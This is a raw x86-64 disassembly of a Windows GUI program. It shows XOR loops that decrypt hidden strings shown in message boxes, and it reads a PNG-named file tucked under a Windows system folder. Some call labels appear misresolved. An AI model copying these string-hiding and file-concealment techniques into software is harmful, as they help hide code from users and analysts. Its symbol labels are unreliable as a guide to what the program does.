punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x38
jl 0x140067d60
cmp r8d, 0x39
jge 0x140067ea8
movsxd rax, r8d
lea r9, [rbp + 0x290]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x39
jl 0x140067e70
mov r9d, 0x30
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x290]
mov rcx, rsi
call qword [sym.imp.USER32.dll_MessageBoxW]
movzx eax, byte [0x140095cd0]
mov byte [rbp + 0x2c8], al
movups xmm0, xmmword [0x140095c98]
movups xmm1, xmmword [0x140095ca8]
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140095cb8]
movups xmmword [rbp + 0x2a0], xmm1
movsd xmm1, qword [0x140095cc8]
movsd qword [rbp + 0x2c0], xmm1
movups xmmword [rbp + 0x2b0], xmm0
cmp r13d, 2
jl 0x14006805c
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x290]
movdqa xmm5, xmmword [0x140096210]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, dword [rbp + 0x70]
movd xmm6, r15d
movd xmm8, r14d
nop dword [rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edi, 0x38
jl 0x140067f50
cmp edi, 0x39
jge 0x1400680a0
movsxd rax, edi
lea r8, [rbp + 0x290]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
inc edi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp edi, 0x39
jl 0x140068070
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x290]
call fcn.14006e4d0
jmp 0x14006851e
cmp word [0x140094932], di
movsd xmm0, qword [str.qGDXJ9]
mov eax, dword [0x140094930]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
je 0x140068101
xor word [rsp + 0x62], 0x35
mov ecx, 0x45
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
mov word [rsp + 0x60], cx
movups xmm0, xmmword [0x140095f30]
mov r8d, edi
movups xmm1, xmmword [0x140095f40]
mov eax, dword [0x140095f78]
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140095f50]
movups xmmword [rbp + 0x2b0], xmm0
movsd xmm0, qword [0x140095f70]
movups xmmword [rbp + 0x2a0], xmm1
movups xmm1, xmmword [0x140095f60]
movsd qword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2c0], xmm1
mov dword [rbp + 0x2d8], eax
cmp r13d, 2
jl 0x14006829b
movdqa xmm5, xmmword [0x140096210]
lea rcx, [rbp + 0x290]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmm9, xmmword [0x1400962d0]
movd xmm6, r15d
movd xmm8, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x1400681a0
cmp r8d, 0x26
jge 0x1400682e8
movsxd rax, r8d
lea r9, [rbp + 0x290]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x26
jl 0x1400682b0
mov r9d, 0x30
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x290]
mov rcx, rsi
call qword [sym.imp.USER32.dll_MessageBoxW]
mov eax, dword [0x140095630]
mov dword [rbp + 0x2c8], eax
movzx eax, word [0x140095634]
mov word [rbp + 0x2cc], ax
movzx eax, byte [0x140095636]
mov byte [rbp + 0x2ce], al
movups xmm0, xmmword [0x1400955f8]
movups xmm1, xmmword [0x140095608]
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [str.1_4]
movups xmmword [rbp + 0x2a0], xmm1
movsd xmm1, qword [0x140095628]
movsd qword [rbp + 0x2c0], xmm1
movups xmmword [rbp + 0x2b0], xmm0
cmp r13d, 2
jl 0x1400684bc
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x290]
movdqa xmm5, xmmword [0x140096210]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, dword [rbp + 0x70]
movd xmm6, r15d
movd xmm8, r14d
nop word [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edi, 0x38
jl 0x1400683b0
cmp edi, 0x3f
jge 0x140068500
movsxd rax, edi
lea r8, [rbp + 0x290]
add r8, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, dil
inc edi
sub al, cl
add al, 0x34
xor byte [r8 - 1], al
cmp edi, 0x3f
jl 0x1400684d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x290]
call fcn.14006e4d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140072db0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp dword [rbp + 0x348], 0
jne 0x14006854d
cmp dword [rbp + 0x328], 0
jne 0x14006854d
cmp dword [rbp + 0x338], 0
je 0x14006af05
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, dword [0x140094920]
mov r8d, edi
mov dword [rbp + 0x2c0], eax
movups xmm0, xmmword [0x1400948f0]
movups xmm1, xmmword [0x140094900]
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140094910]
movups xmmword [rbp + 0x2a0], xmm1
movups xmmword [rbp + 0x2b0], xmm0
cmp r13d, 2
jl 0x1400686e1
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x290]
movdqa xmm5, xmmword [0x140096210]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, dword [rbp + 0x70]
movd xmm6, r15d
movd xmm8, r14d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x1400685d0
cmp r8d, 0x34
jge 0x140068724
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x1400686f0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x290]
call fcn.14006e4d0
mov rcx, rax
lea rdx, [0x140072db0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, 0x104
mov qword [rbp + 0xb8], rdi
lea rdx, [rbp + 0x3c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [0x14008bb20]
mov dword [rbp + 0x70], edi
lea rdx, str.C:_Windows_Globalization_Sorting_LuminYellow.png
mov dword [rbp + 0x250], edi
lea rcx, [rbp + 0xb0]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov rbx, qword [rbp + 0xb0]
test eax, eax
cmovne rbx, rdi
mov qword [rbp + 0xb0], rbx
test rbx, rbx
jne 0x1400687c1
mov rax, qword gs:[0x58]
mov edx, 0x28
mov rcx, qword [rax]
lea rax, str.cant_fopen
mov qword [rdx + rcx], rax
jmp 0x1400688fe
mov r8, rbx
lea rcx, [rbp + 0x120]
call fcn.14004ffd0
lea r8, [rbp + 0x250]
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x120]
call fcn.1400508b0
mov r14, rax
mov rcx, rbx
test rax, rax
je 0x1400688f8
mov edx, dword [rbp + 0x1e0]
mov r8d, r12d
sub edx, dword [rbp + 0x1e8]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov ecx, dword [rbp + 0x70]
lea r9, [rbp + 0x90]
mov eax, dword [rbp + 0x250]
lea r8, [rbp + 0x60]
mov dword [rbp + 0x264], eax
lea rdx, [rbp + 0x260]
mov dword [rbp + 0x260], ecx
lea eax, [rcx*4]
mov qword [rbp + 0x274], r12
mov rcx, qword [0x14015b060]
mov qword [rbp + 0x284], rdi
mov dword [rbp + 0x268], r12d
mov dword [rbp + 0x26c], r12d
mov dword [rbp + 0x270], 0x1c
mov dword [rbp + 0x27c], edi
mov dword [rbp + 0x280], 8
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x60], r14
mov dword [rbp + 0x68], eax
mov dword [rbp + 0x6c], edi
mov rax, qword [rcx]
call qword [rax + 0x28]
mov eax, dword [rbp + 0x268]
lea r9, [rbp + 0xb8]
mov rcx, qword [0x14015b060]
lea r8, [rbp + 0x290]
mov rdx, qword [rbp + 0x90]
mov qword [rbp + 0x2a0], rdi
mov dword [rbp + 0x290], 0x1c
mov qword [rbp + 0x294], 4
mov dword [rbp + 0x29c], eax
mov rax, qword [rcx]
call qword [rax + 0x38]
mov rcx, qword [rbp + 0x90]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x1400688fe
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8d, 0x104
lea rdx, [rbp + 0x4d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edx, r15d
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov r14, qword [0x14015adc0]
mov ecx, 0x6280
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x14015adc0]
mov r9, rax
test r8, r8
je 0x1400689a8
movsx rax, word [r8 + 0x60f0]
lea rdx, [r8 + 0x60f4]
mov r10d, dword [r8 + 0x3f58]
lea rdx, [rdx + rax*8]
cmp dword [rdx], r10d
je 0x14006899d
lea ecx, [rax + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
lea rdx, [r8 + 0x60f4]
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rdx, [rdx + rax*8]
mov dword [rdx], r10d
mov dword [rdx + 4], edi
inc word [rdx + 4]
inc dword [r8 + 0x60e8]
test r9, r9
je 0x1400689b9
xor edx, edx
mov rcx, r9
call fcn.140003870
jmp 0x1400689bc
mov rax, rdi
mov qword [0x14015adc0], rax
call fcn.140006f60
mov rbx, qword [0x14015adc0]
test r14, r14
cmovne rbx, r14
xor ecx, ecx
mov qword [0x14015adc0], rbx
call fcn.140023570
mov rcx, qword [rbx + 0x38]
lea r14, [0x1400a8070]
xorps xmm2, xmm2
lea rdx, [rbp + 0x290]
movups xmmword [rbp + 0x170], xmm2
mov r15d, 0xffff
mov dword [rbp + 0x170], 0x3f800000
movups xmmword [rbp + 0x130], xmm2
mov dword [rbp + 0x138], 2
movups xmmword [rbp + 0x120], xmm2
mov dword [rbp + 0x13c], r12d
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x160], xmm2
mov byte [rbp + 0x12c], dil
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x2a0], xmm1
mov dword [rbp + 0x164], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x160]
mov dword [rbp + 0x174], 0x3f800000
mov word [rbp + 0x178], r15w
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm1
movups xmmword [rbp + 0x2b0], xmm2
movups xmmword [rbp + 0x2c0], xmm2
movups xmmword [rbp + 0x2f0], xmm2
movups xmmword [rbp + 0x300], xmm2
movups xmmword [rbp + 0x310], xmm2
mov qword [rbp + 0x290], r14
mov dword [rbp + 0x298], 0xaf274
mov dword [rbp + 0x2a4], 0x41700000
call fcn.140027950
mov rcx, qword [rbx + 0x38]
lea rdx, [rbp + 0x290]
xorps xmm2, xmm2
movups xmmword [rbp + 0x170], xmm2
mov dword [rbp + 0x170], 0x3f800000
movups xmmword [rbp + 0x130], xmm2
mov dword [rbp + 0x138], 2
movups xmmword [rbp + 0x120], xmm2
mov byte [rbp + 0x12c], r12b
movups xmm0, xmmword [rbp + 0x120]
movups xmmword [rbp + 0x290], xmm0
movups xmmword [rbp + 0x160], xmm2
mov dword [rbp + 0x13c], r12d
movups xmm1, xmmword [rbp + 0x130]
movups xmmword [rbp + 0x2a0], xmm1
mov dword [rbp + 0x164], 0x7f7fffff
movups xmm0, xmmword [rbp + 0x160]
mov dword [rbp + 0x174], 0x3f800000
mov word [rbp + 0x178], r15w
movups xmm1, xmmword [rbp + 0x170]
movups xmmword [rbp + 0x2d0], xmm0
movups xmmword [rbp + 0x2e0], xmm1
movups xmmword [rbp + 0x2b0], xmm2
movups xmmword [rbp + 0x2c0], xmm2
movups xmmword [rbp + 0x2f0], xmm2
movups xmmword [rbp + 0x300], xmm2
movups xmmword [rbp + 0x310], xmm2
mov qword [rbp + 0x290], r14
mov dword [rbp + 0x298], 0xaf274
mov dword [rbp + 0x2a4], 0x41a00000
call fcn.140027950
mov rcx, rsi
call fcn.14002d010
call fcn.14002ce40
cmp byte [reloc.WS2_32.dll_accept], dil
je 0x14006852e
movss xmm13, dword [0x1400960b8]
movss xmm14, dword [0x1400960d4]
movss xmm10, dword [0x1400960e8]
movss xmm15, dword [0x14009611c]
movss xmm11, dword [0x1400960a0]
movss xmm12, dword [0x140096118]
nop word [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
lea rcx, [rbp + 0x368]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140068c7f
nop
lea rcx, [rbp + 0x368]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x368]
call qword [sym.imp.USER32.dll_DispatchMessageW]
movzx eax, byte [reloc.WS2_32.dll_accept]
lea rcx, [rbp + 0x368]
cmp dword [rbp + 0x370], 0x12
mov dword [rsp + 0x20], r12d
cmove eax, edi
xor r9d, r9d
xor r8d, r8d
mov byte [reloc.WS2_32.dll_accept], al
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140068c30
cmp byte [reloc.WS2_32.dll_accept], dil
je 0x14006852e
mov rbx, qword [0x14015adc0]
test rbx, rbx
je 0x140068ca1
mov rax, qword [rbx + 0x98]
jmp 0x140068ca4
mov rax, rdi
cmp qword [rax + 0x48], rdi
jne 0x140068cb6
call fcn.14002c930
mov rbx, qword [0x14015adc0]
test rbx, rbx
je 0x140068cc4
mov rsi, qword [rbx + 0x90]
jmp 0x140068cc7
mov rsi, rdi
xorps xmm0, xmm0
lea rdx, [rbp + 0x70]
movdqu xmmword [rbp + 0x70], xmm0
mov rcx, qword [rsi]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x78]
lea rcx, [rbp + 0x358]
sub eax, dword [rbp + 0x70]
mov qword [rbp + 0x358], rdi
movd xmm1, eax
mov eax, dword [rbp + 0x7c]
sub eax, dword [rbp + 0x74]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm1
movss dword [rbx + 0x14], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x358]
xorps xmm1, xmm1
mov r14, qword [0x14015adc0]
mov rax, rcx
sub rax, qword [rsi + 0x18]
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [rsi + 0x20]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [rsi + 0x18], rcx
test r14, r14
je 0x140068d55
mov r15, qword [r14 + 0x90]
jmp 0x140068d58
mov r15, rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, qword [r15]
cmp rax, rcx
jne 0x140068e07
cmp byte [r14 + 0xcd], dil
je 0x140068dbd
cvttss2si eax, dword [r14 + 0xe40]
lea rdx, [rbp + 0x90]
mov dword [rbp + 0x90], eax
cvttss2si eax, dword [r14 + 0xe44]
mov dword [rbp + 0x94], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
test eax, eax
je 0x140068db4
mov edx, dword [rbp + 0x94]
mov ecx, dword [rbp + 0x90]
call qword [sym.imp.USER32.dll_SetCursorPos]
cmp byte [r14 + 0xcd], dil
jne 0x140068e07
cmp dword [r15 + 0x10], edi
jne 0x140068e07
lea rcx, [rbp + 0xb0]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140068e07
mov rcx, qword [r15]
lea rdx, [rbp + 0xb0]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x140068e07
movd xmm2, dword [rbp + 0xb4]
lea rcx, [r14 + 8]
movd xmm1, dword [rbp + 0xb0]
cvtdq2ps xmm2, xmm2
cvtdq2ps xmm1, xmm1
call fcn.140004e50
call fcn.14002d3c0
cmp byte [rbx + 0x58], dil
je 0x140068e19
mov eax, 0xffffffff
jmp 0x140068e26
mov rax, qword [0x14015adc0]
mov eax, dword [rax + 0x4ee8]
cmp dword [rsi + 0x28], eax
je 0x140068e33
mov dword [rsi + 0x28], eax
call fcn.14002d250
call fcn.14002d590
call fcn.140008a80
movzx eax, byte [0x14015add0]
cmp al, r12b
jne 0x14006a276
mov rbx, qword [0x14015adc0]
lea rdx, [rbp + 0x260]
movaps xmm6, xmmword [0x1400964c0]
mov dword [rbp + 0x260], reloc.WS2_32.dll_setsockopt
or dword [rbx + 0x4a00], 2
lea rcx, [rbx + 0x4a78]
mov dword [rbx + 0x4a20], 0x44160000
mov dword [rbx + 0x4a24], 0x43430000
mov dword [rbx + 0x4a08], r12d
movups xmm0, xmmword [rbx + 0x3b1c]
movups xmmword [rbp + 0x264], xmm0
call fcn.14001c290
cmp dword [rbx + 0x4a74], 0x15
je 0x140068eb8
movups xmmword [rbx + 0x3b1c], xmm6
mov rbx, qword [0x14015adc0]
lea r8, [rbx + 0x4a78]
cmp dword [r8], r12d
jl 0x140068eee
movsxd rax, dword [r8]
mov rcx, qword [r8 + 8]
lea rdx, [rax + rax*4]
movsxd rax, dword [rcx + rdx*4 - 0x14]
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
add rax, rax
movups xmmword [rbx + rax*8 + 0x39cc], xmm0
dec dword [r8]
movups xmm0, xmmword [rbx + 0x39cc]
lea rdx, [rbp + 0x260]
mov rcx, r8
movaps xmm6, xmmword [0x1400964c0]
movups xmmword [rbp + 0x264], xmm0
mov dword [rbp + 0x260], edi
call fcn.14001c290
cmp dword [rbx + 0x4a74], edi
je 0x140068f27
movups xmmword [rbx + 0x39cc], xmm6
movzx eax, byte [0x140095e70]
mov esi, 5
mov byte [rbp + 0x2a0], al
mov r8d, edi
movups xmm0, xmmword [str.wTBRVX]
lea r14d, [rsi + 0x1a]
movups xmmword [rbp + 0x290], xmm0
cmp r13d, 2
jl 0x1400690a1
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x290]
movdqa xmm5, xmmword [0x140096210]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, dword [rbp + 0x70]
movd xmm6, esi
movd xmm8, r14d
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
